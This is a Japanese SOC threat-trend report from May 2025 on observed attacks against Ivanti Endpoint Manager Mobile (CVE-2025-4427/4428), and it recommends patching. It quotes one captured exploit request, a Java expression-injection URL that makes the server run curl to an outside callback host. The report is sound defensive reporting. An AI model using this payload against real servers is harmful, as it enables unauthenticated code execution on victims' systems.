2025.06.13

2025年5月度 MBSD-SOCの検知傾向トピックス

監視

Ivanti Endpoint Manager Mobileの脆弱性（CVE-2025-4427, CVE-2025-4428）を狙った攻撃

　今月は、Ivanti Endpoint Manager Mobileの脆弱性（CVE-2025-4427, CVE-2025-4428）を狙った攻撃を新たに観測しました。Ivanti Endpoint Manager Mobileは、モバイルデバイスを効率的に管理するための統合エンドポイント管理ソリューションです。本脆弱性は、5/13(火)に公開されたもので、攻撃者に悪用された場合、認証を回避されて任意のコードを実行されてしまう恐れがあります。

　下図は、本脆弱性を狙った攻撃の検知数推移です。弊社SOCでは5/16(金)に初観測しております。当該製品を使用されている場合は、早急に最新のバージョンにアップデートすることをお勧めします。

図. Ivanti Endpoint Manager Mobileの脆弱性（CVE-2025-4427, CVE-2025-4428）を狙った攻撃数推移

　以下は、弊社SOCで検知した攻撃例です。Javaのコード実行を試みた通信となっています。

図. Ivanti Endpoint Manager Mobileの脆弱性（CVE-2025-4427, CVE-2025-4428）を狙った攻撃例
GET /api/v2/featureusage_history?adminDeviceSpaceId=131&format=%24%7b''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(''.getClass().forName('java.lang.Runtime')).exec('curl%20d0mruib294msma2l4mjg3zrfugdpicokf.oast.pro')%7d HTTP/1.1 Host: www.example.co.jp User-Agent: Mozilla/5.0 (Ubuntu; Linux x86_64; rv:124.0) Gecko/20100101 Firefox/124.0 Connection: close Accept-Encoding: gzip

　下表は、本脆弱性を狙った攻撃元国です。オランダ、アメリカからの攻撃を多数観測しました。